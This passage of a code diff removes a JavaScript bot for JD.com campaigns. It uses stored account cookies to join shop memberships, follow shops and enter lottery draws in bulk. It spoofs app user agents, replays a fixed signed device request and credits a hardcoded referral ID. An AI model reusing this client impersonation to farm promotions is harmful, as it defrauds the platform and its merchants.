(process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} - -const JD_API_HOST = `https://api.m.jd.com/client.action`; -message = "" -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { - "open-url": "https://bean.m.jd.com/" - }); - return; - } - if ($.isNode()) { - if (!process.env.guaolympicopencard2 || process.env.guaolympicopencard2 == "false") { - console.log('如需执行脚本请设置环境变量[guaolympicopencard2]为"true"') - return - } - } - $.shareUuid = '24f69db39f424a26b13708e0bdf56c76' - // 232 23 - for (let i = 0; i < cookiesArr.length; i++) { - cookie = cookiesArr[i]; - if (cookie) { - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - getUA() - $.nickName = ''; - $.actorUuid = ''; - console.log(`\n\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { - "open-url": "https://bean.m.jd.com/bean/signIndex.action" - }); - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - let wxCommonInfoTokenData = await getWxCommonInfoToken(); - $.LZ_TOKEN_KEY = wxCommonInfoTokenData.LZ_TOKEN_KEY - $.LZ_TOKEN_VALUE = wxCommonInfoTokenData.LZ_TOKEN_VALUE - $.isvObfuscatorToken = await getIsvObfuscatorToken(); - $.myPingData = await getMyPing() - if ($.myPingData ==="" || $.myPingData === '400001') { - $.log("获取活动信息失败!") - continue - } - await getHtml(); - await adLog(); - await getUserInfo(); - $.attrTouXiang = 'https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png' - $.actorUuid = await getActorUuid(); - await drawContent(); - let checkOpenCardData = await checkOpenCard(); - if (checkOpenCardData && !checkOpenCardData.allOpenCard) { - for (let cardList1Element of checkOpenCardData.cardList1) { - $.log('入会: ' + cardList1Element.name) - await $.wait(1000) - await join(cardList1Element.value) - } - for (let cardList1Element of checkOpenCardData.cardList2) { - $.log('入会: ' + cardList1Element.name) - await $.wait(1000) - await join(cardList1Element.value) - } - }else{ - $.log("开完卡: " + checkOpenCardData.allOpenCard) - } - - await $.wait(1000) - await drawContent(); - checkOpenCardData = await checkOpenCard(); - if(checkOpenCardData && checkOpenCardData.score1 == 1) await openCardStartDraw(1) - if(checkOpenCardData && checkOpenCardData.score2 == 1) await openCardStartDraw(2) - //关注 - await followShop(); - await getDrawRecordHasCoupon() - $.playItemId = '' - await getActorUuid() - // $.log($.actorUuid) - $.log($.shareUuid) - if (i === 0) { - if($.actorUuid){ - $.shareUuid = $.actorUuid; - }else{ - console.log('账号1获取不到[shareUuid]退出执行,请重新执行') - return - } - } - } - } -})() - .catch((e) => $.logErr(e)) - .finally(() => $.done()) - -function openCardStartDraw(type) { - return new Promise(resolve => { - let body = `activityId=dz210768869313&pin=${encodeURIComponent($.myPingData.secretPin)}&actorUuid=${$.actorUuid}&type=${type}` - $.post(taskPostUrl('/dingzhi/aoyun/moreshop/openCardStartDraw', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // $.log($.toStr(data)) - data = JSON.parse(data); - if(data.errorMessage || data.data.errorMessage) console.log(`抽奖获得:${data.errorMessage || data.data.errorMessage || ''}`) - if(data.count == 0 && data.result == true){ - console.log(`抽奖获得:${data.data.name || ''}`) - }else{ - $.log($.toStr(data)) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data.data); - } - }) - }) -} - -function getDrawRecordHasCoupon() { - return new Promise(resolve => { - let body = `activityId=dz210768869313&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.myPingData.secretPin)}&num=0&sortSuatus=1` - $.post(taskPostUrl('/dingzhi/taskact/common/getShareRecord', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data) - $.log("================== 你邀请了: " + data.data.length + " 个") - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data.data); - } - }) - }) -} - -function startDraw() { - return new Promise(resolve => { - let body = `pin=${encodeURIComponent($.myPingData.secretPin)}&activityId=dz210768869313&actorUuid=${$.actorUuid}&change=3` - $.post(taskPostUrl('/dingzhi/aoyun/moreshop/startDraw', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - $.log('抽到了: ' + JSON.parse(data).data.name) - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data.data); - } - }) - }) -} - -function followShop() { - return new Promise(resolve => { - let body = `pin=${encodeURIComponent($.myPingData.secretPin)}&activityId=dz210768869313&actorUuid=${$.actorUuid}&shareUuid=${$.shareUuid}&taskType=23&taskValue=23` - $.post(taskPostUrl('/dingzhi/aoyun/moreshop/followShop', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // $.log($.toStr(data)) - data = JSON.parse(data); - if(data.errorMessage) console.log(`关注获得:${data.errorMessage || ''}`) - if(data.count == 0 && data.result == true){ - console.log(`关注获得:${data.data.sendBeans || 0}京豆`) - }else{ - $.log($.toStr(data)) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data.data); - } - }) - }) -} - -function checkOpenCard() { - return new Promise(resolve => { - let body = `activityId=dz210768869313&pin=${encodeURIComponent($.myPingData.secretPin)}&actorUuid=${$.actorUuid}&shareUuid=${$.shareUuid}` - $.post(taskPostUrl('/dingzhi/aoyun/moreshop/checkOpenCard', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = $.toObj(data); - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data && data.data || ''); - } - }) - }) -} -function getshopactivityId(venderId) { - return new Promise(resolve => { - $.get(shopactivityId(`${venderId}`), async (err, resp, data) => { - try { - data = JSON.parse(data); - if(data.success == true){ - $.shopactivityId = data.result.interestsRuleList && data.result.interestsRuleList[0] && data.result.interestsRuleList[0].interestsInfo && data.result.interestsRuleList[0].interestsInfo.activityId || '' - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function shopactivityId(functionId) { - return { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=%7B%22venderId%22%3A%22${functionId}%22%2C%22channel%22%3A401%7D&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - 'Content-Type': 'text/plain; Charset=UTF-8', - 'Origin': 'https://api.m.jd.com', - 'Host': 'api.m.jd.com', - 'accept': '*/*', - 'User-Agent': $.UA, - 'content-type': 'application/x-www-form-urlencoded', - 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401&returnUrl=https://lzdz1-isv.isvjcloud.com/dingzhi/personal/care/activity/4540555?activityId=dz210768869313&shareUuid=${$.shareUuid}`, - 'Cookie': cookie - } - } -} -function join(venderId) { - return new Promise(async resolve => { - $.shopactivityId = '' - await getshopactivityId(venderId) - $.get(ruhui(`${venderId}`), async (err, resp, data) => { - try { - // console.log(data) - data = JSON.parse(data); - if(data.success == true){ - $.log(data.message) - }else if(data.success == false){ - $.log(data.message) - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function ruhui(functionId) { - let activityId = `` - if($.shopactivityId) activityId = `,"activityId":${$.shopactivityId}` - return { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body={"venderId":"${functionId}","shopId":"${functionId}","bindByVerifyCodeFlag":1,"registerExtend":{},"writeChildFlag":0${activityId},"channel":401}&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - 'Content-Type': 'text/plain; Charset=UTF-8', - 'Origin': 'https://api.m.jd.com', - 'Host': 'api.m.jd.com', - 'accept': '*/*', - 'User-Agent': $.UA, - 'content-type': 'application/x-www-form-urlencoded', - 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401&returnUrl=https://lzdz1-isv.isvjcloud.com/dingzhi/personal/care/activity/4540555?activityId=dz210768869313&shareUuid=${$.shareUuid}`, - 'Cookie': cookie - } - } -} - - -function getWxCommonInfoToken () { - return new Promise(resolve => { - $.post({ - url: `https://lzdz1-isv.isvjcloud.com/wxCommonInfo/token`, - headers: { - 'User-Agent': $.UA, - 'Content-Type':'application/x-www-form-urlencoded', - 'Host':'lzdz1-isv.isvjcloud.com', - 'Origin':'https://lzdz1-isv.isvjcloud.com', - 'Referer':'https://lzdz1-isv.isvjcloud.com/wxCommonInfo/token', - 'Cookie': cookie, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data.data); - } - }) - }) -} - - -function getIsvObfuscatorToken () { - return new Promise(resolve => { - $.post({ - url: `https://api.m.jd.com/client.action?functionId=isvObfuscator&clientVersion=10.0.4&build=88641&client=android&d_brand=OPPO&d_model=PCAM00&osVersion=10&screen=2208*1080&partner=oppo&oaid=&openudid=7049442d7e415232&eid=eidAfb0d81231cs3I4yd3GgLRjqcx9qFEcJEmyOMn1BwD8wvLt/pM7ENipVIQXuRiDyQ0FYw2aud9+AhtGqo1Zhp0TsLEgoKZvAWkaXhApgim9hlEyRB&sdkVersion=29&lang=zh_CN&uuid=7049442d7e415232&aid=7049442d7e415232&area=4_48201_54794_0&networkType=wifi&wifiBssid=774de7601b5cddf9aad1ae30f3a3dfc0&uts=0f31TVRjBSsqndu4%2FjgUPz6uymy50MQJ2tPvKuaZvdpSgSWj4Rft6vj532pNv%2FCKtTDIdQHDjGpLlEc2uSsiMQQUTLV9Je9grp1cLq3H0VUzzfixZwWR4M5Q8POBAxkpKMun92VcSYcb6Es9VnenAIfXRVX%2FGYBK9bYxY4NCtDEYEP8Hdo5iUbygFO2ztKWTX1yisUO%2BQJEOojXBN9BqYg%3D%3D&uemps=0-0&st=1627049782034&sign=8faf48b6ada54b2497cfbb051cd0590d&sv=110`, - body: 'body=%7B%22id%22%3A%22%22%2C%22url%22%3A%22https%3A%2F%2Fjinggengjcq-isv.isvjcloud.com%2Ffronth5%2F%3Flng%3D114.062541%26lat%3D29.541254%26sid%3D57b59835c68ed8959d124d644f61c58w%26un_area%3D4_48201_54794_0%23%2Fpages%2Feight-brands%2Feight-brands%22%7D&', - headers: { - 'User-Agent': $.UA, - 'Content-Type':'application/x-www-form-urlencoded', - 'Host':'api.m.jd.com', - 'Referer':'https://api.m.jd.com/client.action?functionId=isvObfuscator&clientVersion=10.0.4&build=88641&client=android&d_brand=OPPO&d_model=PCAM00&osVersion=10&screen=2208*1080&partner=oppo&oaid=&openudid=7049442d7e415232&eid=eidAfb0d81231cs3I4yd3GgLRjqcx9qFEcJEmyOMn1BwD8wvLt/pM7ENipVIQXuRiDyQ0FYw2aud9+AhtGqo1Zhp0TsLEgoKZvAWkaXhApgim9hlEyRB&sdkVersion=29&lang=zh_CN&uuid=7049442d7e415232&aid=7049442d7e415232&area=4_48201_54794_0&networkType=wifi&wifiBssid=774de7601b5cddf9aad1ae30f3a3dfc0&uts=0f31TVRjBSsqndu4%2FjgUPz6uymy50MQJ2tPvKuaZvdpSgSWj4Rft6vj532pNv%2FCKtTDIdQHDjGpLlEc2uSsiMQQUTLV9Je9grp1cLq3H0VUzzfixZwWR4M5Q8POBAxkpKMun92VcSYcb6Es9VnenAIfXRVX%2FGYBK9bYxY4NCtDEYEP8Hdo5iUbygFO2ztKWTX1yisUO%2BQJEOojXBN9BqYg%3D%3D&uemps=0-0&st=1627049782034&sign=8faf48b6ada54b2497cfbb051cd0590d&sv=110', - 'Cookie': cookie, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data.token); - } - }) - }) -} - -function getMyPing() { - //await $.wait(20) - return new Promise(resolve => { - $.post({ - url: `https://lzdz1-isv.isvjcloud.com/customer/getMyPing`, - body: `userId=1000003443&token=${$.isvObfuscatorToken}&fromType=APP`, - headers: { - 'User-Agent': $.UA, - 'Content-Type':'application/x-www-form-urlencoded', - 'Host':'lzdz1-isv.isvjcloud.com', - 'Referer':'https://lzdz1-isv.isvjcloud.com/customer/getMyPing', - 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE};`, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - let setcookies = resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '' - let setcookie = '' - if(setcookies){ - if(typeof setcookies != 'object'){ - setcookie = setcookies.split(',') - }else setcookie = setcookies - let lz_jdpin_token = setcookie.filter(row => row.indexOf("lz_jdpin_token") !== -1)[0] - $.lz_jdpin_token = '' - if(lz_jdpin_token && lz_jdpin_token.indexOf("lz_jdpin_token=") > -1){ - $.lz_jdpin_token = lz_jdpin_token.split(';') && (lz_jdpin_token.split(';')[0] + ';') || '' - } - let LZ_TOKEN_VALUE = setcookie.filter(row => row.indexOf("LZ_TOKEN_VALUE") !== -1)[0] - if(LZ_TOKEN_VALUE && LZ_TOKEN_VALUE.indexOf("LZ_TOKEN_VALUE=") > -1){ - $.LZ_TOKEN_VALUE = LZ_TOKEN_VALUE.split(';') && (LZ_TOKEN_VALUE.split(';')[0]) || '' - $.LZ_TOKEN_VALUE = $.LZ_TOKEN_VALUE.replace('LZ_TOKEN_VALUE=','') - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data.data); - } - }) - }) -} - -function getHtml() { - //await $.wait(20) - return new Promise(resolve => { - $.get({ - url: `https://lzdz1-isv.isvjcloud.com/dingzhi/personal/care/activity/4540555?activityId=dz210768869313&shareUuid=${$.shareUuid}`, - headers: { - 'User-Agent': $.UA, - 'Host':'lzdz1-isv.isvjcloud.com', - 'X-Requested-With': 'com.jingdong.app.mall', - 'Cookie': `IsvToken=${$.isvObfuscatorToken}; __jdc=60969652; __jd_ref_cls=Mnpm_ComponentApplied; pre_seq=1; __jda=60969652.1622198480453678909255.1622198480.1626617117.1626757026.38; __jdb=60969652.1.1622198480453678909255|38.1626757026; mba_sid=187.2; pre_session=vFIEj/DyoMrR+8jmAgzXSqWcNxIDZica|319; __jdv=60969652%7Cdirect%7C-%7Cnone%7C-%7C1624292158074; LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.secretPin}; ${$.lz_jdpin_token} mba_muid=1622198480453678909255.187.1626757027670`, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function adLog() { - return new Promise(resolve => { - let pageurl = `https://lzdz1-isv.isvjcloud.com/dingzhi/personal/care/activity/4540555?activityId=dz210768869313&shareUuid=${$.shareUuid}` - $.post({ - url: `https://lzdz1-isv.isvjcloud.com/common/accessLogWithAD`, - body: `venderId=1000003443&code=99&pin=${encodeURIComponent($.myPingData.secretPin)}&activityId=dz210768869313&pageUrl=${encodeURIComponent(pageurl)}&subType=APP&adSource=null`, - headers: { - 'User-Agent': $.UA, - 'Host':'lzdz1-isv.isvjcloud.com', - 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', - 'Referer':'https://lzdz1-isv.isvjcloud.com/common/accessLogWithAD', - 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // data = JSON.parse(data); - let setcookies = resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '' - let setcookie = '' - if(setcookies){ - if(typeof setcookies != 'object'){ - setcookie = setcookies.split(',') - }else setcookie = setcookies - let LZ_TOKEN_KEY = setcookie.filter(row => row.indexOf("LZ_TOKEN_KEY") !== -1)[0] - if(LZ_TOKEN_KEY && LZ_TOKEN_KEY.indexOf("LZ_TOKEN_KEY=") > -1){ - $.LZ_TOKEN_KEY = LZ_TOKEN_KEY.split(';') && (LZ_TOKEN_KEY.split(';')[0]) || '' - $.LZ_TOKEN_KEY = $.LZ_TOKEN_KEY.replace('LZ_TOKEN_KEY=','') - } - let LZ_TOKEN_VALUE = setcookie.filter(row => row.indexOf("LZ_TOKEN_VALUE") !== -1)[0] - if(LZ_TOKEN_VALUE && LZ_TOKEN_VALUE.indexOf("LZ_TOKEN_VALUE=") > -1){ - $.LZ_TOKEN_VALUE = LZ_TOKEN_VALUE.split(';') && (LZ_TOKEN_VALUE.split(';')[0]) || '' - $.LZ_TOKEN_VALUE = $.LZ_TOKEN_VALUE.replace('LZ_TOKEN_VALUE=','') - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function drawContent() { - return new Promise(resolve => { - $.post({ - url: `https://lzdz1-isv.isvjcloud.com/dingzhi/taskact/common/drawContent`, - body: `activityId=dz210768869313&pin=${encodeURIComponent($.myPingData.secretPin)}`, - headers: { - 'User-Agent': $.UA, - 'Host':'lzdz1-isv.isvjcloud.com', - 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', - 'Referer':`https://lzdz1-isv.isvjcloud.com/dingzhi/personal/care/activity/4540555?activityId=dz210768869313&shareUuid=${$.shareUuid}`, - 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function getUserInfo() { - return new Promise(resolve => { - $.post({ - url: `https://lzdz1-isv.isvjcloud.com/wxActionCommon/getUserInfo`, - body: `pin=${encodeURIComponent($.myPingData.secretPin)}`, - headers: { - 'User-Agent': $.UA, - 'Host':'lzdz1-isv.isvjcloud.com', - 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', - 'Referer':`https://lzdz1-isv.isvjcloud.com/dingzhi/personal/care/activity/4540555?activityId=dz210768869313&shareUuid=${$.shareUuid}`, - 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if(data.count === 0 && data.result){ - $.attrTouXiang = data.data.yunMidImageUrl - != data.data.yunMidImageUrl ? $.attrTouXiang = data.data.yunMidImageUrl : $.attrTouXiang = "https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png" - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function getActorUuid() { - return new Promise(resolve => { - $.post({ - url: `https://lzdz1-isv.isvjcloud.com/dingzhi/aoyun/moreshop/activityContent`, - body: `activityId=dz210768869313&pin=${encodeURIComponent($.myPingData.secretPin)}&pinImg=${encodeURIComponent($.attrTouXiang)}&nick=${encodeURIComponent($.myPingData.nickname)}&shareUuid=${$.shareUuid}`, - headers: { - 'User-Agent': $.UA, - 'Host':'lzdz1-isv.isvjcloud.com', - 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', - 'Referer':'https://lzdz1-isv.isvjcloud.com/dingzhi/aoyun/moreshop/activityContent', - 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // console.log(data) - data = JSON.parse(data); - $.gameTimes = data.data.gameTimes || 0 - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data.data.actorUuid); - } - }) - }) -} - - -function taskPostUrl(url, body) { - return { - url: `https://lzdz1-isv.isvjcloud.com${url}`, - body: body, - headers: { - "Host": "lzdz1-isv.isvjcloud.com", - "Accept": "application/json", - "X-Requested-With": "XMLHttpRequest", - "Accept-Language": "zh-cn", - "Accept-Encoding": "gzip, deflate, br", - "Content-Type": "application/x-www-form-urlencoded", - "Origin": "https://lzdz1-isv.isvjcloud.com", - "Connection": "keep-alive", - "Referer": `https://lzdz1-isv.isvjcloud.com/dingzhi/personal/care/activity/4540555?activityId=dz210768869313&shareUuid=${$.shareUuid}`, - "User-Agent": $.UA , - 'Cookie': `${cookie} LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, - } - } -} - -function getUA(){ - $.UA = `jdapp;iPhone;10.0.8;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/4199175193;appBuild/167741;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` -} -function randomString(e) { - e = e || 32; - let t = "abcdefhijkmnprstwxyz2345678", a = t.length, n = ""; - for (i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let 